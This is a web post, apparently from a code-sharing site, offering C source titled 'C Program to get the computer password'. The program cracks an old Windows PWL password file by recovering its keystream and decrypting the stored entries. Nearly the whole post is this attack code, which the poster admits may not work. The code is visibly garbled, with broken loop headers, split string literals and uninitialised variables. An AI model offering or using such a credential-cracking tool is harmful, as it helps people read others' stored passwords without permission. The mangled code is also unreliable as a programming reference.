C Program to get the computer password.

Written by siddhartha. Posted in Misc

Source Code

/*************************************************************************************/
/*  C Program to get the computer password.                                          */
/*  Download more programs at http://sourcecode4u.com/                               */
/*************************************************************************************/
#include<stdio.h>
#include<stdio.h>
#include<process.h>
#include<stdlib.h>
#include<ctype.h>
#include<conio.h>
#include<mem.h>
unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main(int argc,char *argv[]){
    FILE *fd;
    int i,j;
    int size;
    char ch;
    char *name;
    int cracked;
    int sizemask;
    int maxr;
    int rsz;
    int pos;
    int Rall[300]; /* Resourse allocation table */
    if(argc<2){
        printf("usage: glide filename (username)");
        exit(1);
    }
    /* Read PWL file */
    fd=fopen(argv[1],"rb");
    if(fd==NULL){
        printf("can't open file %s",argv[1]);
        exit(1);
    }
    size=0;
    while(!feof(fd)){
        Data[size++]=fgetc(fd);
    }
    size--;
    fclose(fd);
    /* Find Username */
    name=argv[1];
    if(argc>2)name=argv[2];
    printf("Username:%s
    ",name);
    /* Copy encrypted text into keystream */
    cracked=size-0x0208;
    if(cracked<0)cracked=0;
    if(cracked>1000)cracked=1000;
    memcpy(keystream,Data+0x208,cracked);
    /* Generate 20 bytes of keystream */
    for(i=0;i<20;i++){
        ch=toupper(name[i]);
        if(ch==0)break;
        if(ch=='.')break;
        keystream[i]^=ch;
    };
    cracked=20;
    /* Find allocated resources */
    sizemask=keystream[0]+(keystream[1]<<8);
    printf("Sizemask:%04X
    ",sizemask);
    for(i=0;i<256;i++){
        if(Data[i]!=0xff){
            Rall[Data[i]]++;
            if(Data[i]>maxr)maxr=Data[i];
        }
    }
    maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
    divisible by 16 */
    /*Search after resources */
    Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
    for(i=0;i< font=""><>
    /* Find the size of current resourse */
    pos=Rpoint[i];
    rsz=Data[pos]+(Data[pos+1]<<8);
    rsz^=sizemask;
    printf("Analysing block with size:%04x (%d:%d)
    ",rsz,i,Rall[i]);
    if((Rall[i]==0)&&(rsz!=0)){
        printf("Unused resourse has nonzero size!!!
        ");
        printf("If last line produed any:You may try to recover
        ");
        printf("Press y to attempt the recovery
        ");
        ch=getch();
        if(ch!='y')exit(0);
        rsz=2;
        i=i-1;
    }
    pos=pos+rsz;
    /* Resourse have a tedency to have the wrong size for some reason*/
    /* Chech for correct size*/
    if(i< font=""><>
    while(Data[pos+3]!=keystream[1]){
        printf(":",Data[pos+3]);
        pos=pos+2; /* Very rude may fail */
    }
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){
    keystream[20+2*i]^=Rpoint[i] & 0x00ff;
    keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);
/* Decrypt resources */
for(i=0;i< font=""><>
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j< font=""><>
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("
");
}
exit(0);
}
This is a C program to know the computer password i don't know if it works or not i am sharing with you
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